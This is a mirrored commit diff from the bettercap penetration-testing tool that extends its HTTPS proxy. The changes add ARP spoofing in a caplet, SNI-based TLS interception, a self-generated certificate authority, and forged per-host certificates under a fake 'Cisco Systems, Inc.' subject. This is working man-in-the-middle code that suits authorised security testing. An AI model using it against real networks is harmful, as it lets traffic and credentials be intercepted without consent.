mirror of
https://github.com/bettercap/bettercap
synced 2025-07-06 04:52:10 -07:00
fix: several improvements to the https.proxy module
This commit is contained in:
parent
723d99cf62
commit
f9f0f3d5b3
9 changed files with 308 additions and 29 deletions
|
@ -2,21 +2,22 @@
|
|||
#
|
||||
# sudo ./bettercap-ng -caplet caplets/http-req-dump.cap -eval "set arp.spoof.targets 192.168.1.64"
|
||||
|
||||
events.stream off
|
||||
# events.stream off
|
||||
|
||||
net.recon on
|
||||
net.probe on
|
||||
sleep 1
|
||||
net.probe off
|
||||
|
||||
set net.sniff.verbose false
|
||||
set net.sniff.local true
|
||||
set net.sniff.filter tcp port 443
|
||||
net.sniff on
|
||||
# set net.sniff.verbose false
|
||||
# set net.sniff.local true
|
||||
# set net.sniff.filter tcp port 443
|
||||
# net.sniff on
|
||||
|
||||
set https.proxy.script caplets/http-req-dump.js
|
||||
set http.proxy.script caplets/http-req-dump.js
|
||||
clear
|
||||
|
||||
http.proxy on
|
||||
https.proxy on
|
||||
arp.spoof on
|
||||
|
|
|
@ -103,7 +103,9 @@ func (p *ArpSpoofer) getMAC(ip net.IP, probe bool) (net.HardwareAddr, error) {
|
|||
|
||||
func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
|
||||
for _, ip := range p.addresses {
|
||||
if p.shouldSpoof(ip) == false {
|
||||
if check_running && p.Running() == false {
|
||||
return
|
||||
} else if p.shouldSpoof(ip) == false {
|
||||
log.Debug("Skipping address %s from ARP spoofing.", ip)
|
||||
continue
|
||||
}
|
||||
|
@ -121,10 +123,6 @@ func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running
|
|||
log.Debug("Sending %d bytes of ARP packet to %s:%s.", len(pkt), ip.String(), hw.String())
|
||||
p.Session.Queue.Send(pkt)
|
||||
}
|
||||
|
||||
if check_running && p.Running() == false {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -1,20 +1,33 @@
|
|||
package modules
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/evilsocket/bettercap-ng/core"
|
||||
"github.com/evilsocket/bettercap-ng/firewall"
|
||||
"github.com/evilsocket/bettercap-ng/log"
|
||||
"github.com/evilsocket/bettercap-ng/session"
|
||||
btls "github.com/evilsocket/bettercap-ng/tls"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
"github.com/inconshreveable/go-vhost"
|
||||
)
|
||||
|
||||
type HTTPProxy struct {
|
||||
Name string
|
||||
Address string
|
||||
Server http.Server
|
||||
Redirection *firewall.Redirection
|
||||
|
@ -23,12 +36,23 @@ type HTTPProxy struct {
|
|||
CertFile string
|
||||
KeyFile string
|
||||
|
||||
isTLS bool
|
||||
sess *session.Session
|
||||
isTLS bool
|
||||
isRunning bool
|
||||
sniListener net.Listener
|
||||
sess *session.Session
|
||||
}
|
||||
|
||||
func stripPort(s string) string {
|
||||
ix := strings.IndexRune(s, ':')
|
||||
if ix == -1 {
|
||||
return s
|
||||
}
|
||||
return s[:ix]
|
||||
}
|
||||
|
||||
func NewHTTPProxy(s *session.Session) *HTTPProxy {
|
||||
p := &HTTPProxy{
|
||||
Name: "http.proxy",
|
||||
Proxy: goproxy.NewProxyHttpServer(),
|
||||
sess: s,
|
||||
isTLS: false,
|
||||
|
@ -43,6 +67,7 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
|
|||
|
||||
p.Proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm)
|
||||
p.Proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) {
|
||||
log.Debug("(%s) < %s %s %s%s", core.Green(p.Name), req.RemoteAddr, req.Method, req.Host, req.URL.Path)
|
||||
if p.Script != nil {
|
||||
jsres := p.Script.OnRequest(req)
|
||||
if jsres != nil {
|
||||
|
@ -54,6 +79,8 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
|
|||
})
|
||||
|
||||
p.Proxy.OnResponse().DoFunc(func(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
|
||||
req := res.Request
|
||||
log.Debug("(%s) > %s %s %s%s", core.Green(p.Name), req.RemoteAddr, req.Method, req.Host, req.URL.Path)
|
||||
if p.Script != nil {
|
||||
jsres := p.Script.OnResponse(res)
|
||||
if jsres != nil {
|
||||
|
@ -68,7 +95,7 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
|
|||
}
|
||||
|
||||
func (p *HTTPProxy) logAction(req *http.Request, jsres *JSResponse) {
|
||||
p.sess.Events.Add("http.proxy.spoofed-response", struct {
|
||||
p.sess.Events.Add(p.Name+".spoofed-response", struct {
|
||||
To string
|
||||
Method string
|
||||
Host string
|
||||
|
@ -142,6 +169,65 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, scrip
|
|||
return nil
|
||||
}
|
||||
|
||||
var (
|
||||
certCache = make(map[string]*tls.Certificate)
|
||||
certLock = &sync.Mutex{}
|
||||
)
|
||||
|
||||
func getCachedCert(domain string, port int) *tls.Certificate {
|
||||
key := fmt.Sprintf("%s:%d", domain, port)
|
||||
|
||||
certLock.Lock()
|
||||
defer certLock.Unlock()
|
||||
|
||||
if cert, found := certCache[key]; found == true {
|
||||
return cert
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func setCachedCert(domain string, port int, cert *tls.Certificate) {
|
||||
key := fmt.Sprintf("%s:%d", domain, port)
|
||||
|
||||
certLock.Lock()
|
||||
defer certLock.Unlock()
|
||||
|
||||
certCache[key] = cert
|
||||
}
|
||||
|
||||
func TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *goproxy.ProxyCtx) (*tls.Config, error) {
|
||||
return func(host string, ctx *goproxy.ProxyCtx) (c *tls.Config, err error) {
|
||||
parts := strings.SplitN(host, ":", 2)
|
||||
hostname := parts[0]
|
||||
port := 443
|
||||
if len(parts) > 1 {
|
||||
port, err = strconv.Atoi(parts[1])
|
||||
if err != nil {
|
||||
port = 443
|
||||
}
|
||||
}
|
||||
|
||||
cert := getCachedCert(hostname, port)
|
||||
if cert == nil {
|
||||
log.Info("Creating spoofed certificate for %s:%d", core.Yellow(hostname), port)
|
||||
cert, err = btls.SignCertificateForHost(ca, hostname)
|
||||
if err != nil {
|
||||
log.Warning("Cannot sign host certificate with provided CA: %s", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
setCachedCert(hostname, port, cert)
|
||||
}
|
||||
|
||||
config := tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
Certificates: []tls.Certificate{*cert},
|
||||
}
|
||||
|
||||
return &config, nil
|
||||
}
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, scriptPath string, certFile string, keyFile string) error {
|
||||
err := p.Configure(address, proxyPort, httpPort, scriptPath)
|
||||
if err != nil {
|
||||
|
@ -149,9 +235,105 @@ func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, sc
|
|||
}
|
||||
|
||||
p.isTLS = true
|
||||
p.Name = "https.proxy"
|
||||
p.CertFile = certFile
|
||||
p.KeyFile = keyFile
|
||||
|
||||
rawCert, _ := ioutil.ReadFile(p.CertFile)
|
||||
rawKey, _ := ioutil.ReadFile(p.KeyFile)
|
||||
|
||||
ourCa, err := tls.X509KeyPair(rawCert, rawKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if ourCa.Leaf, err = x509.ParseCertificate(ourCa.Certificate[0]); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
goproxy.GoproxyCa = ourCa
|
||||
goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: TLSConfigFromCA(&ourCa)}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) httpWorker() error {
|
||||
p.isRunning = true
|
||||
return p.Server.ListenAndServe()
|
||||
}
|
||||
|
||||
type dumbResponseWriter struct {
|
||||
net.Conn
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) Header() http.Header {
|
||||
panic("Header() should not be called on this ResponseWriter")
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) Write(buf []byte) (int, error) {
|
||||
if bytes.Equal(buf, []byte("HTTP/1.0 200 OK\r\n\r\n")) {
|
||||
return len(buf), nil // throw away the HTTP OK response from the faux CONNECT request
|
||||
}
|
||||
return dumb.Conn.Write(buf)
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) WriteHeader(code int) {
|
||||
panic("WriteHeader() should not be called on this ResponseWriter")
|
||||
}
|
||||
|
||||
func (dumb dumbResponseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
|
||||
return dumb, bufio.NewReadWriter(bufio.NewReader(dumb), bufio.NewWriter(dumb)), nil
|
||||
}
|
||||
|
||||
func (p *HTTPProxy) httpsWorker() error {
|
||||
var err error
|
||||
|
||||
// listen to the TLS ClientHello but make it a CONNECT request instead
|
||||
p.sniListener, err = net.Listen("tcp", p.Server.Addr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
p.isRunning = true
|
||||
for p.isRunning {
|
||||
c, err := p.sniListener.Accept()
|
||||
if err != nil {
|
||||
log.Warning("Error accepting connection: %s.", err)
|
||||
continue
|
||||
}
|
||||
|
||||
go func(c net.Conn) {
|
||||
tlsConn, err := vhost.TLS(c)
|
||||
if err != nil {
|
||||
log.Warning("Error reading SNI: %s.", err)
|
||||
return
|
||||
}
|
||||
|
||||
hostname := tlsConn.Host()
|
||||
if hostname == "" {
|
||||
log.Warning("Client does not support SNI.")
|
||||
return
|
||||
}
|
||||
|
||||
log.Debug("Got new SNI from %s for %s", core.Bold(stripPort(c.RemoteAddr().String())), core.Yellow(hostname))
|
||||
|
||||
req := &http.Request{
|
||||
Method: "CONNECT",
|
||||
URL: &url.URL{
|
||||
Opaque: hostname,
|
||||
Host: net.JoinHostPort(hostname, "443"),
|
||||
},
|
||||
Host: hostname,
|
||||
Header: make(http.Header),
|
||||
}
|
||||
resp := dumbResponseWriter{tlsConn}
|
||||
p.Proxy.ServeHTTP(resp, req)
|
||||
}(c)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
@ -160,9 +342,9 @@ func (p *HTTPProxy) Start() {
|
|||
var err error
|
||||
|
||||
if p.isTLS == true {
|
||||
err = p.Server.ListenAndServeTLS(p.CertFile, p.KeyFile)
|
||||
err = p.httpsWorker()
|
||||
} else {
|
||||
err = p.Server.ListenAndServe()
|
||||
err = p.httpWorker()
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
|
@ -180,7 +362,13 @@ func (p *HTTPProxy) Stop() error {
|
|||
p.Redirection = nil
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
return p.Server.Shutdown(ctx)
|
||||
if p.isTLS == true {
|
||||
p.isRunning = false
|
||||
p.sniListener.Close()
|
||||
return nil
|
||||
} else {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
defer cancel()
|
||||
return p.Server.Shutdown(ctx)
|
||||
}
|
||||
}
|
||||
|
|
|
@ -32,14 +32,14 @@ func NewHttpsProxy(s *session.Session) *HttpsProxy {
|
|||
"Port to bind the HTTPS proxy to."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("https.proxy.certificate",
|
||||
"~/.bcap-https.proxy.certificate.pem",
|
||||
"~/.bcap-https.proxy-ca.certificate.pem",
|
||||
"",
|
||||
"HTTPS proxy TLS certificate."))
|
||||
"HTTPS proxy certification authority TLS certificate file."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("https.proxy.key",
|
||||
"~/.bcap-https.proxy.key.pem",
|
||||
"~/.bcap-https.proxy-ca.key.pem",
|
||||
"",
|
||||
"HTTPS proxy TLS key"))
|
||||
"HTTPS proxy certification authority TLS key file."))
|
||||
|
||||
p.AddParam(session.NewStringParameter("https.proxy.script",
|
||||
"",
|
||||
|
@ -111,14 +111,14 @@ func (p *HttpsProxy) Configure() error {
|
|||
}
|
||||
|
||||
if core.Exists(certFile) == false || core.Exists(keyFile) == false {
|
||||
log.Info("Generating proxy TLS key to %s", keyFile)
|
||||
log.Info("Generating proxy TLS certificate to %s", certFile)
|
||||
log.Info("Generating proxy certification authority TLS key to %s", keyFile)
|
||||
log.Info("Generating proxy certification authority TLS certificate to %s", certFile)
|
||||
if err := tls.Generate(certFile, keyFile); err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
log.Info("Loading proxy TLS key from %s", keyFile)
|
||||
log.Info("Loading proxy TLS certificate from %s", certFile)
|
||||
log.Info("Loading proxy certification authority TLS key from %s", keyFile)
|
||||
log.Info("Loading proxy certification authority TLS certificate from %s", certFile)
|
||||
}
|
||||
|
||||
return p.proxy.ConfigureTLS(address, proxyPort, httpPort, scriptPath, certFile, keyFile)
|
||||
|
|
|
@ -73,7 +73,7 @@ func (p *Prober) sendProbe(from net.IP, from_hw net.HardwareAddr, ip net.IP) {
|
|||
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
||||
log.Error("Could not dial %s.", name)
|
||||
} else {
|
||||
log.Debug("UDP connection to %s enstablished.", name)
|
||||
// log.Debug("UDP connection to %s enstablished.", name)
|
||||
defer con.Close()
|
||||
con.Write([]byte{0xde, 0xad, 0xbe, 0xef})
|
||||
}
|
||||
|
|
|
@ -140,7 +140,7 @@ func (q *Queue) Send(raw []byte) error {
|
|||
|
||||
if q.active {
|
||||
err := q.handle.WritePacketData(raw)
|
||||
if err != nil {
|
||||
if err == nil {
|
||||
q.Sent += uint64(len(raw))
|
||||
} else {
|
||||
q.Errors += 1
|
||||
|
|
|
@ -81,7 +81,9 @@ func (s *Session) activeHandler(args []string, sess *Session) error {
|
|||
if len(params) > 0 {
|
||||
fmt.Println()
|
||||
for _, p := range params {
|
||||
fmt.Printf(p.Dump(s.HelpPadding))
|
||||
_, val := s.Env.Get(p.Name)
|
||||
fmt.Printf(" "+core.YELLOW+"%"+strconv.Itoa(s.HelpPadding)+"s"+core.RESET+
|
||||
" : %s\n", p.Name, val)
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -50,6 +50,7 @@ func Generate(certPath string, keyPath string) error {
|
|||
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth, x509.ExtKeyUsageServerAuth},
|
||||
BasicConstraintsValid: true,
|
||||
IsCA: true,
|
||||
}
|
||||
|
||||
cert_raw, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
|
||||
|
|
89
tls/sign.go
Normal file
89
tls/sign.go
Normal file
|
@ -0,0 +1,89 @@
|
|||
package tls
|
||||
|
||||
import (
|
||||
"crypto/rsa"
|
||||
"crypto/sha1"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"math/big"
|
||||
"net"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
)
|
||||
|
||||
func hashSorted(lst []string) []byte {
|
||||
c := make([]string, len(lst))
|
||||
copy(c, lst)
|
||||
sort.Strings(c)
|
||||
h := sha1.New()
|
||||
for _, s := range c {
|
||||
h.Write([]byte(s + ","))
|
||||
}
|
||||
return h.Sum(nil)
|
||||
}
|
||||
|
||||
func hashSortedBigInt(lst []string) *big.Int {
|
||||
rv := new(big.Int)
|
||||
rv.SetBytes(hashSorted(lst))
|
||||
return rv
|
||||
}
|
||||
|
||||
func SignCertificateForHost(ca *tls.Certificate, host string) (cert *tls.Certificate, err error) {
|
||||
var x509ca *x509.Certificate
|
||||
|
||||
// TODO: read actual fields from the host
|
||||
|
||||
if x509ca, err = x509.ParseCertificate(ca.Certificate[0]); err != nil {
|
||||
return
|
||||
}
|
||||
start := time.Unix(0, 0)
|
||||
end, err := time.Parse("2006-01-02", "2049-12-31")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
hosts := []string{host}
|
||||
hash := hashSorted(hosts)
|
||||
serial := new(big.Int)
|
||||
serial.SetBytes(hash)
|
||||
template := x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Issuer: x509ca.Subject,
|
||||
Subject: pkix.Name{
|
||||
Organization: []string{"Cisco Systems, Inc."},
|
||||
},
|
||||
NotBefore: start,
|
||||
NotAfter: end,
|
||||
|
||||
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
BasicConstraintsValid: true,
|
||||
}
|
||||
|
||||
for _, h := range hosts {
|
||||
if ip := net.ParseIP(h); ip != nil {
|
||||
template.IPAddresses = append(template.IPAddresses, ip)
|
||||
} else {
|
||||
template.DNSNames = append(template.DNSNames, h)
|
||||
}
|
||||
}
|
||||
var csprng goproxy.CounterEncryptorRand
|
||||
if csprng, err = goproxy.NewCounterEncryptorRandFromKey(ca.PrivateKey, hash); err != nil {
|
||||
return
|
||||
}
|
||||
var certpriv *rsa.PrivateKey
|
||||
if certpriv, err = rsa.GenerateKey(&csprng, 1024); err != nil {
|
||||
return
|
||||
}
|
||||
var derBytes []byte
|
||||
if derBytes, err = x509.CreateCertificate(&csprng, &template, x509ca, &certpriv.PublicKey, ca.PrivateKey); err != nil {
|
||||
return
|
||||
}
|
||||
return &tls.Certificate{
|
||||
Certificate: [][]byte{derBytes, ca.Certificate[0]},
|
||||
PrivateKey: certpriv,
|
||||
}, nil
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue